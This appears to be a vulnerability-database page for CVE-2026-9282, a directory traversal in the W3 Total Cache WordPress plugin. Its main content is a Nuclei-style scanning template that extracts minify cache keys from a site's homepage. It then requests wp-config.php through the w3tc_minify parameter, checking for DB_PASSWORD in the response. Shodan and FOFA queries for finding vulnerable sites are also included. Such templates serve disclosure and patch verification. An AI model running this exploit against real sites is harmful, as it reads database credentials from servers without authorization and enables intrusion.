CVE-2026-9282: W3 Total Cache <= 2.9.4 - Unauthenticated Arbitrary File Read

2026-07-31 W3 Total Cache PoC Public

Description

W3 Total Cache WordPress plugin <= 2.9.4 contains a directory traversal caused by improper handling in setupSources function, letting unauthenticated attackers read arbitrary files, exploit requires manual minify mode enabled with specific filename.

PoC

id: CVE-2026-9282

info:
  name: W3 Total Cache <= 2.9.4 - Unauthenticated Arbitrary File Read
  author: 0x_Akoko
  severity: high
  description: |
   W3 Total Cache WordPress plugin <= 2.9.4 contains a directory traversal caused by improper handling in setupSources function, letting unauthenticated attackers read arbitrary files, exploit requires manual minify mode enabled with specific filename.
  impact: |
   Unauthenticated attackers can read arbitrary files, potentially exposing sensitive information on the server.
  remediation: |
   Update to the latest version beyond 2.9.4.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e92cc06d-006f-4bba-a4ef-b23d80c00085
    - https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.9.4/Minify_MinifiedFileRequestHandler.php#L191
    - https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.9.4/lib/Minify/Minify/Controller/MinApp.php#L108
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-9282
    epss-score: 0.02861
    epss-percentile: 0.86059
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: boldgrid
    product: w3-total-cache
    fofa-query: body="/wp-content/plugins/w3-total-cache/"
    shodan-query: http.html:"w3-total-cache"
    tags: cve,cve2026,wordpress,wp-plugin,w3-total-cache,lfi,unauth,disclosure,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "/wp-content/cache/minify/")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: theme_key
        internal: true
        part: body
        group: 1
        regex:
          - '/wp-content/cache/minify/([a-f0-9]+)\.[^./"]+\.include(?:-(?:footer|body))?\.[a-f0-9]+\.(?:css|js)'

      - type: regex
        name: template_key
        internal: true
        part: body
        group: 1
        regex:
          - '/wp-content/cache/minify/[a-f0-9]+\.([^./"]+)\.include(?:-(?:footer|body))?\.[a-f0-9]+\.(?:css|js)'

  - raw:
      - |
        GET /?w3tc_minify={{theme_key}}.{{template_key}}.include.{{theme_key}}.css&f_array[]=wp-config.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/css")'
          - 'contains(body, "DB_PASSWORD")'
          - 'contains(body, "DB_NAME")'
        condition: and
# digest: 4a0a00473045022100bf769ad854dabf5f83e6136a1a1904dc68c6d56e4766d8556e72cd2595858dff02207736840ff1089d3014cdd5c3d80a6b1409967b8f3a2423224ec69441d47c2a86:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities